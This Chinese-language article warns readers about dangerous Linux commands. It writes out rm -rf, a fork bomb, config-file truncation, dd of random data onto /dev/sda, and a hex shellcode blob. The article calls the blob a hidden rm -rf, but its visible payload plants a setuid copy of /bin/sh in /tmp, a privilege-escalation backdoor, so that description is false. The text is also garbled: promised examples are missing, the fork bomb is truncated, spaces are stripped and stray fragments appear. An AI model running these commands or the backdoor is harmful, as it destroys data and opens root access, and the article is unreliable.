rm –rf
rm –rf是刪除文件夾和里面附帶內(nèi)容的一種最快捷的方法,但是細(xì)微的錯(cuò)誤或者語(yǔ)法認(rèn)知不到位,就可能對(duì)系統(tǒng)造成不可恢復(fù)的破壞,下面給出一些案例:
綜上所述,在你執(zhí)行rm –rf命令時(shí)千萬(wàn)要小心,大家可以在.bashrc里面添加:
aliasrm='rm-i'
這樣,在你下次刪除東西的時(shí)候,它會(huì)提醒你到底要?jiǎng)h啥。
){:|:&};:
這個(gè)命令其實(shí)是一種fork炸彈linux命令大全,它定義了一個(gè)叫“:”的函數(shù),調(diào)用了自己兩次,一次是在前臺(tái),一次是在后臺(tái)。關(guān)鍵是這樣的調(diào)用會(huì)無(wú)限循環(huán),直到系統(tǒng)崩潰。
手賤的同學(xué)可以盡管在虛擬機(jī)里試試:
>xt.conf
你系統(tǒng)配置文件里的內(nèi)容可能就會(huì)因此被清理掉。
^foo^bar
這樣利用^符號(hào),通過(guò)上翻補(bǔ)全命令的方式,直接編輯之前運(yùn)行過(guò)的命令。雖然你或許因此不用再輸入整條長(zhǎng)命令,但其實(shí)這會(huì)很危險(xiǎn)。
。
dd if=/dev/random of=/dev/sda
dd命令會(huì)擦掉/dev/sda下面的內(nèi)容,然后寫(xiě)入隨機(jī)的垃圾數(shù)據(jù),最后你的系統(tǒng)會(huì)受到不可逆轉(zhuǎn)的破壞。
隱藏命令
下面的命令相當(dāng)于rm –rf,它會(huì)藏在十六進(jìn)制hex中。大家在不知情的情況下運(yùn)行它,可能就會(huì)直接擦除掉整個(gè)root目錄:
charesp[]__attribute__((section(“.text”)))/*e.s.p
release*/
=“\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp-p/bin/sh/tmp/.beyond;chmod4755
/tmp/.beyond;”;
這個(gè)故事告訴我們,致命的威脅在隱藏起來(lái)的時(shí)候,我們通?赡茈y以發(fā)現(xiàn)。